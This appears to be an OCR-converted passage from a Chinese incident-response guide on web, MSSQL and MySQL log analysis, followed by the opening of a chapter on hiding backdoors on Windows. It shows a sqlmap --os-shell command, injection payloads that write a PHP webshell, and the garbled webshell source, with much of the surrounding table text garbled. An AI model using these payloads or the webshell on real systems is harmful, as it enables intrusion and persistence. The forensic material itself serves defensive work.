| 2018-04-08 04:31:28 10.1.3.100 POST /MsgSend.aspx - 815 - 11191 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+. |
| T+CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 187 |
| 2018-04-08 04:31:29 10.1.3.100 GET /MsgLb.aspx = 815 = 111 |
| LR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 62 |
| 2018-04-08 04:31:31 10.1.3.100 GET /MsgXq.aspx Id=BC8B715894AF21A0sMsgId=66D2E8FC90CA64F130B13FAC53F1A782 815 - 111 9.91 Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident |
| 00+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729; <u>+</u> NET4.0C;+.NET4.0E) 200 0 0 109 |
| 2018-04-08 04:31:42 10.1.3.100 GET /Up/dj/2012.asp;.jpg - 815 - 111. 2019 1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30 |
| 9;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E) 200 0 0 265 |

3、对找到的访问日志进行解读, 攻击者大致的访问路径如下:

- A、攻击者访问首页和登录页
- B、攻击者访问MsgSjlb.aspx和MsgSebd.aspx
- C、攻击者访问Xzuser.aspx
- D、攻击者多次POST (怀疑通过这个页面上传模块缺陷)
- E、攻击者访问了图片木马

打开网站,访问Xzuser.aspx,确认攻击者通过该页面的进行文件上传了图片木马,同时,发现网站了存在越权访问漏洞,攻击者访问特定URL,无需登录即可进入后台界面。通过日志分析找到网站的漏洞位置并进行修复。

0x04 日志统计分析技巧

统计爬虫:

```
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort |
uniq
```

统计浏览器:

```
cat /www/logs/access.2019-02-23.log | grep -v -E
'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
```

IP 统计:

grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print \$1}' | awk -F'.' '{print
\$1"."\$2"."\$3"."\$4}' | sort | uniq -c | sort -r -n | head -n 10
2206 219.136.134.13
1497 182.34.15.248
1431 211.140.143.100
1431 119.145.149.106
1427 61.183.15.179
1427 218.6.8.189
1422 124.232.150.171
1421 106.187.47.224
1420 61.160.220.252
1418 114.80.201.18

统计网段:

cat /www/logs/access.2019-02-23.log | awk '{print \$1}' | awk -F'.' '{print \$1"."\$2"."\$3".0"}' | sort | uniq -c | sort -r -n | head -n 200

统计域名:

cat /www/logs/access.2019-02-23.log |awk '{print \$2}'|sort|uniq -c|sort -rn|more

HTTP Status:

```
cat /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more
5056585 304
1125579 200
7602 400
5 301
```

URL 统计:

cat /www/logs/access.2019-02-23.log |awk '{print \$7}'|sort|uniq -c|sort -rn|more

文件流量统计:

```
cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print
sum[i],i}}'|sort -rn|more
```

grep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[\$7]+=\$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more

URL访问量统计:

```
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort - rn | more
```

脚本运行速度:

查出运行速度最慢的脚本

```
grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt
```

IP, URL 抽取:

```
# tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'
```

参考链接:

https://www.jb51.net/article/53954.htm

https://www.jb51.net/article/58017.htm

https://cloud.tencent.com/developer/article/1051427

第4篇:MSSQL日志分析

常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。

0x01 MSSQL日志分析

首先,MSSQL数据库应启用日志记录功能,默认配置仅限失败的登录,需修改为失败和成功的登录,这样就可以对用户登录进行审核。

| 🧏 Microsoft SQL Server Management Studio | |
|--|--|
| 文件(17) 编辑(12) 查看(17) 调试(10) 工具(17) 窗口(11) 社区(12) # | 帮助 00 |
| 🔛 新建查询 (X) 🕞 📸 📸 💁 🕞 😂 🗐 🎯 🦉 🖕 | |
| 对象资源管理器 📕 服务器属性 - WIN-D8#SE#20#JB | |
| 连接 → 劉 劉 ■ 了 💿 📓 送择页 | S 脚本 ▼ 16 帮助 |
| □ G WIN-DBMSEM20MJB (SQL Serve: 21 常规 | |
| | 服务器身份验证 |
| | |
| | 〇 Windows 身份验证模式 @) |
| 日 🛄 管理 🛛 🔄 数据库反应 | ◎ SQL Server 和 Windows 身份验证模式(S) |
| | |
| I I I I I I I I I I I I I I I I I I I | 登录审核 |
| 田 😭 资源调控器 | C T W |
| □ □ sql Server 日志 | |
| 1 当前 - 2019/6/1 2 | ○ 仅限失败的登录 (2) |
| 2019/ ■ 存档编号2 - 2019/ | ○ 仅限成功的登录 (1) |
| 2018/ | ● 失败和成功的登录 (3) |
| | |
| ◎ 存档编号6 - 2018/ | 服务器代理帐户 ———————————————————————————————————— |
| | □ 启用服务器代理帐户(V) |
| 1 分布式争分处理协调器 在接 田 🔁 早期 | 代理帐户(B): |
| Ⅲ B SQL Server 代理 服务器: | 应码 (P)· #################################### |
| WIN-D8MSEM2OMJB | |

登录到SQL Server Management Studio,依次点击管理--SQL Server 日志

| 🍢 Nicrosoft SQL Server Management Studio | <u>_ ×</u> |
|---|--------------|
| 文件 (r) 编辑 (r) 查看 (V) 调试 (D) 工具 (r) 窗口 (H) 社区 (C) 帮助 (H) | |
| 🏥 新建查询 (2) 📭 🐴 😘 🕞 🚔 🔚 🥔 🤐 🥫 | |
| 对象资源管理器 | |
| 连接 - 鄠 製 ■ 🍸 🖬 🍒 | |
| 🖂 🐻 (local) (SQL Server 10.50.1600 - WIN-D8MSEM2OMJB\Administrat | |
| | |
| | |
| 田 🧰 复制 | |
| | |
| | |
| | |
| 国際部分の通知では、「「「「「」」「「」」「「」」「」」「「」」「」」「「」」「」」「」」「」」「 | |
| 日 🔁 Sql. Server 日志 | |
| 31 当前 - 2019/6/1_16:21:00 | |
| 2019/2/28 0.31:00 ● 存档编号2 - 2018/7/6 17:53:00 | |
| 2017年14編号3 - 2018/5/28 11:15:00 | |
| ● 存档编号4 - 2018/5/28 10:58:00 | |
| 2011年1月1日 111日 - 111日 - 1111日 - 11110 - 11110 - 11110 - 11100 - 11100 - 11100 - 11100 - 11100 - 11100 - 11100 - 111000 - 111000 - 11000 - 110000 - 1100000000 | |
| ▲ · · · · · · · · · · · · · · · · · · · | |
| | |
| 就绪 | 11. |

双击日志存档文件即可打开日志文件查看器,并可以对日志进行筛选或者导出等操作。

| 🌆 日志文件查看器 - (local) | | | |
|----------------------------|--------------------|----------------------------------|---|
| 选择日志 | 🍃 加载日志 👌 导出 🛃 刷新 | 🍸 筛选 🔍 搜索 🚺 帮助 | |
| □ ✓ SQL Server | | 筛选器 | |
| □存档编号1 - 2019/8/1 18.21.00 | 日期 | 源 消息 | <u> </u> |
| □存档编号2 - 2018/7/6 17:53:0 | 2019/6/1 16:21:22 | spid55 Using 'xps. dll' versi | on '2009.100.1600' to execute extended stored |
| □ 存档编号3 - 2018/5/28 11:15 | 2019/6/1 16:21:21 | spid55 Attempting to load libra | ary 'xpstar.dll' into memory. This is an infor |
| □存档编号5 - 2018/5/28 10:58 | 2019/6/1 16:19:56 | spid23s This instance of SQL Ser | ver has been using a process ID of 1312 since |
| | 2019/5/26 14:35:40 | spid18s This instance of SQL Ser | ver has been using a process ID of 1312 since |
| □ □ 数据库邮件 | 2019/5/23 23:02:45 | spid14s This instance of SQL Ser | ver has been asing a process ID of 1312 since |
| | 2019/2/28 0:38:18 | spid14s A new instance of the fu | ill-text filter daemon host process has been s |
| | 2019/2/28 0:37:58 | spid7s Recovery is complete. Th | nis is an informational message only. No user 🔜 |
| | 2019/2/28 0:37:54 | spid7s Recovery completed for a | latabase ReportServer (database ID 5) in 4 sec |
| | 2019/2/28 0:37:50 | spid7s Recovery completed for a | database msdb (database ID 4) in 2 second(s) (|
| | 2019/2/28 0:37:49 | spid7s Recovery completed for a | database ReportServerTempDB (database ID 6) in |
| | 2019/2/28 0:37:48 | spid7s Recovery completed for a | database test (database ID 7) in 1 second(s) (|
| | 2019/2/28 0:37:46 | spid21s Starting up database 'te | est'. |
| | 2019/2/28 0:37:46 | spid2Os Starting up database 'Re | eportServerTempDB'. |
| | 2019/2/28 0:37:46 | spid19s Starting up database 'Re | eportServer'. |
| 状态 | 2019/2/28 0:37:46 | spid18s Starting up database 'ms | sdb' . |
| 上"发展!!!!!! | 2019/2/28 0:37:43 | 登录 Login failed for user 'Y | 'IN-D8MSEM2OMJB\Administrator'. 原因: 无法打开 |
| 上八和明明 | 2019/2/28 0:37:43 | 登录 错误: 18456,严重性: 14: | ,状态: 38。 |
| 2019/6/1 18:45:49 | 2019/2/28 0:37:31 | spid15s Service Broker manager h | nas started. |
| 你讲 明、 十 | 2019/2/28 0:37:29 | spid15s The Database Mirroring p | protocol transport is disabled or not configur |
| 师选辞:尤 | 2019/2/28 0:37:29 | spid15s The Service Broker proto | ocol transport is disabled or not configured. 📕 |
| ▼ 查看筛洗设置 | • | | Þ |

另外,MSSQ提供了一个工具SQL Server Profiler,方便查找和发现SQL执行的效率和语句问题。



日志分析案例:

在日志文件查看器中,选择筛选,在筛选设置中源设置为"登录",应用筛选器,确定。

| 选择日志 🔰 🗁 加载日志 👌 导出 🛃 刷新 👕 筛选 🔍 搜索 📑 帮助 | |
|--|--|
| ☑ SQL Server 日志文件摘要(S): 基于以下条件筛选日志条目: 具有系"登录"。 | |
| ☑ 当前 - 2019/6/1 21:04:00 | <u> </u> |
| ☑ 存档编号2 - 2019/2/28 0:31:00 🔋 2019/6/1 21:12:43 ▼筛选设置 🚺 Connection | made using |
| ☑ 存档编号3 - 2018/7/6 17:53:00 ☑ 左档编号4 - 2018/5/28 11:15:00 ☑ 2019/6/1 21:12:43 | entication. |
| ☑ 存档编号5 - 2018/5/28 10:58:00 目 2019/6/1 21:12:43 □ 登場 | made using |
| ☑ 存档编号6 - 2018/5/28 10:58:00 | entication. |
| □ del Server (\12 □ Windows NT | entication. |
| □数据库邮件 2019/6/1 21:10:25 □ 连接 Server auth | entication. |
| 目 2019/6/1 21:08:26 | 弦。[客户] |
| 1 2019/6/1 21:08:26 日日期 | |
| ☐ 2019/6/1 21:08:26 开始日期 | 洺。[客户] |
| 2019/6/1 21:08:26 结束日期 | |
| 1 2019/6/1 21:08:26 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 | 泡。[客户] |
| 2019/6/1 21:08:26 | |
| 2019/6/1 21:08:26 家相匹置的登录 | 名。[客户] |
| 2019/6/1 21:08:26 | |
| 2019/6/1 21:08:26 下相匹西的等于 | 名。[客户] |
| ▼ 2019/6/1 21:08:26 日志冬日的酒 | |
| 状态 2019/6/1 21:08:26 74匹西的警 | 名。[客户] |
| - 上次刷新: 3 019/6/1 21:08:26 | |
| □ 2019/6/1 21:08:26 | · 之。 [客户i |
| | |
| | ·之。 [室户i |
| | v ⊢ ² v ⊢ ⁷ v |
| ▼ 查看筛洗设置 ● | • |

筛选后的结果,可以很清晰的识别用户登录信息,记录内容包括用户登录时间、登录是否成功、登录使用的账号以及远程登录时用户使用的IP地址。

如下图:客户端:192.168.204.1进行尝试弱口令登录,并发现其中有一条登录成功的记录。

| 🗁 加载日志 👌 导出 💽 刷新 | i 🍸 筛 | 选 🔍 搜索 🖺 帮助 |
|-------------------|-------|--|
| 日志文件摘要 (S): 基于以下条 | 件筛选 | 日志条目:具有源"登录"。 |
| 日期 | 源 | _消息 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹酉的登录名。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹酉的登录名。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹配的登录名。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'sa'. 原因: 密码与所提供的登录名不匹配。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 8。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹酉的登录名。 [客户漏: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| 2019/6/1 21:08:26 | 登录 | Login succeeded for user 'sa'. Connection made using SQL Server authentication. [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹配的登录名。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹配的登录名。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'sa'. 原因: 密码与所提供的登录名不匹配。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 8。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹酉的登录名。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| 2019/6/1 21:08:26 | 登录 | Login failed for user 'mssql'. 原因: 找不到与所提供的名称相匹配的登录名。 [客户端: 192.168.204.1] |
| 2019/6/1 21:08:26 | 登录 | 错误: 18456,严重性: 14,状态: 5。 |
| • | | |

0x02 SQL注入入侵痕迹

在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap 创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:

1、构造一个SQL注入点,开启Burp监听8080端口

sqlmap.py -u http://192.168.204.164/sql.asp?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP通讯过程如下:

| | Intercept | HTTP history | WebSockets history | Options | | | |
|-----|---|--------------------|-----------------------|---------|--|-------|--|
| Fi | ter: Hiding | CSS, image and | general binary conter | t | | ? | |
| # | A Ho | st | Meth | d URL | | Param | |
| 1 | http | o://192.168.204.10 | 64 GET | /sql.as | p?id=1 | ~ | |
| 2 | http | p://192.168.204.10 | 64 GET | /sql.as | p?id=18bauQ%3D9846%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C2%2C3%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1%20%2F%2Fe.t%2F%2Fetc%2F | . 🗸 | |
| 3 | http | ://192.168.204.10 | 64 GET | /sql.as | p?id=1%3BDROP%20TABLE%20sqimapoutput | ~ | |
| 4 | http | o://192.168.204.10 | 64 GET | /sql.as | p?id=1%3BCREATE%20TABLE%20sqlmapoutput%28id%20INT%20PRIMARY%20KEY%20IDENTITY%2C%20data%20NVARCHAR%284000%29%29 | ~ | |
| 5 | http | p://192.168.204.10 | 64 GET | /sql.as | p?id=1%3BDECLARE%20%40kdis%20VARCHAR%288000%29%3BSET%20%40kdis%3D0x6563686f2031%3BINSERT%20INTO%20sqlmapoutput%28data%29%20EXEC%20masterxp_cmdshell%20%40kdi | ~ | |
| 6 | http | p://192.168.204.10 | 64 GET | /sql.as | p?id=1%20UNION%20ALL%20SELECT%20NULL%2CCHAR%28113%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%28113%29%2BISNULL%28CAST%28dat | . 🗸 | |
| 7 | http | p://192.168.204.10 | 64 GET | /sql.as | p?id=1%3BDELETE%20FROM%20sqlmapoutput | ~ | |
| • | Request | Response | | | | 7. | |
| | Raw H | eaders Hex | | | | | |
| HT | TP/1.1 200 | OK | | | | | |
| Ca | che-Contro | ol: private | | | | | |
| Cor | ntent-Leng | th: 334 | | | | | |
| Cor | ntent-Type | : text/html | | | | | |
| X-F | owered-E | Bv: ASP.NET | | | | | |
| Dat | e: Sat, 01 | Jun 2019 09:48:1 | 3 GMT | | | | |
| Cor | nnection: d | close | | | | | |
| se | sleet * from admin where id=1;CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000)) | | | | | | |

创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。

通过查看数据库中最近新建的表的结构和内容,可以判断是否发生过sql注入漏洞攻击事件。

检查方法:

1、数据库表检查

| 👷 Nicrosoft SQL Server Management Studio |
|--|
| 文件 0F) 编辑 0E) 查看 (V) 查询 0Q) 项目 0F) 调试 0D) 工具 0T) 窗口 0F) 社区 0C) 帮助 0H) |
| 😫 新建查询 00 🕞 📸 📆 🕞 😂 🛃 🚭 🜉 🍃 |
| : 💷 🙀 🛯 test 🔹 🔹 ! 🏌 执行 🗱 🕨 💷 🖍 🎲 💷 🔜 📅 🥦 🎒 🎒 🎒 🎒 🎬 🎽 🚔 🚝 🍪 🖕 |
| 서象決測管理器 - 구 × SQLQuery1. s ator (71))★ - × |
| 连接· 野 职 = T 氢 select * from admin |
| E 🚺 (local) (SQL Server 10.50.1600 - WIN-DBW |
| |
| 田 🧰 系統數据库 |
| |
| E ReportServer |
| H |
| |
| |
| - 「 一 系統表 |
| 🛨 🔲 dbo. admin |
| 🕀 🔟 dbo. sqlmapoutput |
| |
| |
| |
| H _ Service Broker |
| |
| |
| □ □ II admin admin |
| 王 📑 夏制 2 Sysadmin sysadmin |
| 🗹 🧰 管理 |
| ⊞ SqL Server 代理 □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ |

2、检查xp_cmdshell等存储过程

xp_cmdshell在mssql2005之后的版本中是默认禁止的,查看xp_cmdshell是否被启用。

`Exec master.dbo.xp_cmdshell 'whoami'

3、需要结合web日志,通过查看日志文件的大小以及审计日志文件中的内容,可以判断是否发生过sql注入漏洞攻击事件。

第5篇:MySQL日志分析

常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。

0x01 Mysql日志分析

general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。

```
1、查看log配置信息
show variables like '%general%';
2、开启日志
SET GLOBAL general_log = 'On';
3、指定日志文件路径
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
```

比如,当我访问 /test.php?id=1,此时我们得到这样的日志:

```
190604 14:46:14 14 Connect root@localhost on
14 Init DB test
14 Query SELECT * FROM admin WHERE id = 1
14 Quit
```

我们按列来解析一下:

第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所 以就不另外记录时间了。 第二列:Id,就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那 一条那一个线程在运行。 第三列:Command,操作类型,比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过虑一 些操作。 第四列:Argument,详细信息,例如 Connect root@localhost on 意思就是连接数据库,如此类推,接下面的连上数据 库之后,做了什么查询的操作。

0x02 登录成功/失败

我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8 组。

C:\Windows\System32\cmd.exe

```
Microsoft Windows [版本 10.0.17134.765]
(c) 2018 Microsoft Corporation。保留所有权利。
D:\>iscan.py -h 192.168.204.164 --mysq1
[+] Found IP: 192.168.204.164 Port:3306
[+] Mysq1 weak password: root root
Use iscan checking for weak password: 0 second
D:\>_
```

MySQL中的log记录是这样子:

| Time | Id | Command | Argument |
|-----------------|--------------------------|---------------------------------|--|
| 190601 22:03:20 | 98 Connect 98 Connect | root@192.168.2 Access denied | 04.1 on for user 'root'@'192.168.204.1' (using password: |
| YES) | | | |
| | 103 Connect | mysql@192.168. | 204.1 on |
| | 103 Connect | Access denied | for user 'mysql'@'192.168.204.1' (using password: |
| YES) | | | |
| | 104 Connect | mysql@192.168. | 204.1 on |
| | 104 Connect | Access denied | <pre>for user 'mysql'@'192.168.204.1' (using password:</pre> |
| YES) | | | |
| | 100 Connect | root@192.168.2 | 04.1 on |
| | 101 Connect | root@192.168.2 | 04.1 on |
| | 101 Connect | Access denied | for user 'root'@'192.168.204.1' (using password: |
| YES) | | | |
| | 99 Connect | root@192.168.2 | 04.1 on |
| | 99 Connect | Access denied | for user 'root'@'192.168.204.1' (using password: |
| YES) | | | |
| | 105 Connect | mysql@192.168. | 204.1 on |
| | 105 Connect | Access denied | for user 'mysql'@'192.168.204.1' (using password: |

```
YES)

100 Query set autocommit=0

102 Connect mysql@192.168.204.1 on

102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password:

YES)

100 Quit
```

你知道在这个口令猜解过程中,哪个是成功的吗?

利用爆破工具,一个口令猜解成功的记录是这样子的:

```
190601 22:03:20 100 Connect root@192.168.204.1 on
100 Query set autocommit=0
100 Quit
```

但是,如果你是用其他方式,可能会有一点点不一样的哦。

Navicat for MySQL登录:

```
190601 22:14:07 106 Connect root@192.168.204.1 on

106 Query SET NAMES utf8

106 Query SHOW VARIABLES LIKE 'lower_case_%'

106 Query SHOW VARIABLES LIKE 'profiling'

106 Query SHOW DATABASES
```

命令行登录:

```
190601 22:17:25 111 Connect root@localhost on

111 Query select @@version_comment limit 1

190601 22:17:56 111 Quit
```

这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。

另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。

登录失败的记录:

102 Connectmysql@192.168.204.1 on102 ConnectAccess denied for user 'mysql'@'192.168.204.1' (using password: YES)

利用shell命令进行简单的分析:

```
#有哪些IP在爆破?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1
#爆破用户名字典都有哪些?
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
13 mysql
12 root
1 root
1 mysql
```

在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file()、into outfile、into dumpfile。

敏感数据库表: SELECT * from mysql.user、SELECT * from mysql.func

0x03 SQL注入入侵痕迹

在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap 创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:

1、构造一个SQL注入点,开启Burp监听8080端口

sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP通讯过程如下:

| 1 | | | | | | | | | | |
|-------------------|-------------------------------------|-----------|--|----|--|--|--|--|--|--|
| 206 | http://192.168.204.164 | GET | p?id=1%20LIMIT%200%2C1%20INT0%200UTFILE%20%27%2FInetpub%2F wwwroot%2Ftmpusage.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554 | | | | | | | |
| 207 | http://192.168.204.164 | GET | www.root/tmpusage.php | | | | | | | |
| 208 | http://192.168.204.164 | GET | /www.root/tmpusage.php | | | | | | | |
| 209 | http://192.168.204.164 | GET | /tmpusaqe.php | | | | | | | |
| 210 | http://192.168.204.164 | POST | /tmpusage.php | | | | | | | |
| 211 | http://192.168.204.164 | GET | /sql.php?id=1%20LIMIT%200%2C1%20INTO%200UTFILE%20%27%2FInetpub%2F www.root%2Ftmpbw.yov.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068702024633d245f524551554553545b22636d | | | | | | | |
| 212 | http://192.168.204.164 | GET | /tmpbwyov.php?cmd=echo%20command%20execution%20test | | | | | | | |
| 213 | http://192.168.204.164 | GET | /tmpbwyov.php?cmd=whoami | 1 | | | | | | |
| | | | | ۳. | | | | | | |
| _ | | | | | | | | | | |
| Req | lest Response | | | | | | | | | |
| Raw | Headers Hex | | | | | | | | | |
| HTTP/I | 1 200 OK | | | _ | | | | | | |
| Content | Type: text/html | | | | | | | | | |
| Server: | Microsoft-IIS/7.5 | | | | | | | | | |
| X-Powe | red-By: PHP/5.2.17 | | | | | | | | | |
| X-Powe | red-By: ASP.NET | | | | | | | | | |
| Date: Si | Date: Sat, 01 Jun 2019 15:33:35 GMT | | | | | | | | | |
| Connection: close | | | | | | | | | | |
| Content | Length: 45 | | | | | | | | | |
| | | | | | | | | | | |
| 1 ad | min admin <pre>nt authorit</pre> | ty\system | | | | | | | | |
| | | | | | | | | | | |

创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。

tmpbwyov.php:

&1\n";function f(\$n){global \$z;return is_callable(\$n)and!in_array(\$n,\$z);}if(f('system'))
{ob_start();system(\$c);\$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open'))
{\$y=proc_open(\$c,array(array(pipe,r),array(pipe,w),array(pipe,w)),\$t);\$w=NULL;while(!feof(\$t[1]))
{\$w.=fread(\$t[1],512);}@proc_close(\$y);}elseif(f('shell_exec')){\$w=shell_exec(\$c);}elseif(f('passthru'))
{ob_start();passthru(\$c);\$w=ob_get_contents();ob_end_clean();}elseif(f('popen'))
{\$x=popen(\$c,r);\$w=NULL;if(is_resource(\$x)){while(!feof(\$x)){\$w.=fread(\$x,512);}}@pclose(\$x);}elseif(f('exec'))
{\$w=array();exec(\$c,\$w);\$w=join(chr(10),\$w).chr(10);}else{\$w=0;}print "

".\$w."

";?>`

创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。

通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。

检查方法:

1、检查网站目录下,是否存在一些木马文件:

| 🕌 imag | | | | |
|-----------------|--------------------------------------|----------------|---------|----------|
| 🕞 🕞 - 🝌 → 计算机 → | 本地磁盘 (C:) + inetpub + wwwroot + imag | - 🐓 | 搜索 imag | |
| 组织 ▼ 包含到库中 ▼ | 共享 🔻 刻录 新建文件夹 | | | := - 🔟 🔞 |
| ☆ 收藏夹 | 名称 🔺 | 修改日期 | 类型 | 大小 |
| 🚺 下载 | 📄 tmpbgojk. php | 2019/6/1 17:07 | PHP 文件 | 1 KB |
| ■ 桌面 | 📄 tmpbnavq. php | 2019/6/1 17:06 | PHP 文件 | 1 KB |
| 🌌 取近功回到立面 | 📄 tmpbpreb. php | 2019/6/1 17:11 | PHP 文件 | 1 KB |
| 🍃 库 | 🔳 tmpugzpd. php | 2019/6/1 17:06 | PHP 文件 | 1 KB |
| 🛃 视频 | 🔳 tmpuinrl. php | 2019/6/1 17:11 | РНР 文件 | 1 KB |
| ■ 图片 | 📄 tmpuluwe. php | 2019/6/1 17:07 | РНР 文件 | 1 KB |
| 当 文扫 → 音乐 | 📄 tmpusaqe. php | 2019/6/1 23:31 | РНР 文件 | 1 KB |



2、检查是否有UDF提权、MOF提权痕迹

检查目录是否有异常文件

mysql\lib\plugin

c:/windows/system32/wbem/mof/

检查函数是否删除

select * from mysql.func

3、结合web日志分析。

第三章: 权限维持篇

第1篇: Windows权限维持--隐藏篇

0x00 前言

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使 之不易被管理员发现。

0x01 隐藏文件

1、利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。

| | 210.000.00 | | 23 |
|-------------------|----------------------------|---|----|
| | ◆ 软件 (D:) 🔸 test 🕨 project | ▼ 4 搜索 project | ٩ |
| 文件(F) 编辑(E) 查看(V) | 工具(T) 帮助(H) | 📄 test.txt 属性 | x |
| 组织 ▼ 🖉 打开 ▼ | 打印 新建文件夹 | 常规 安全 详细信息 以前的版本 | |
| ☆ 收藏夹 ↓ 「「」 | 名称 i test.txt | test. txt | |
| | \sim | 文件类型: 文本文档(. txt) | |
| 📓 最近访问的位置 | \sim | ┃ 打开方式: ^{──} 记事本 | |
| 肩库 | | 位置: D:\test\project | |
| ■ 视频 | | 大小: 0 字节 | |
| ■ 图片 | | 「「「「」」」「「」」」「「」」「「」」「」」「「」」「」」「」」「」」「」」 | |
| 2 文档 | | 创建时间: 2019年8月7日,11:13:08 | |
| □ 迅雷下载 | | 修改时间: 20.7年8月7日,11:13:08 | |
| ●〕 音乐 | | 访问时间: 2019年8,37日,11:13:08 | |
| ▶️ 计算机 | | 属性: □□只读(R) | |
| 🏭 系统 (C:) | | | |
| 👝 软件 (D:) | | | |

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

1

| 文件夹选项 |
|--|
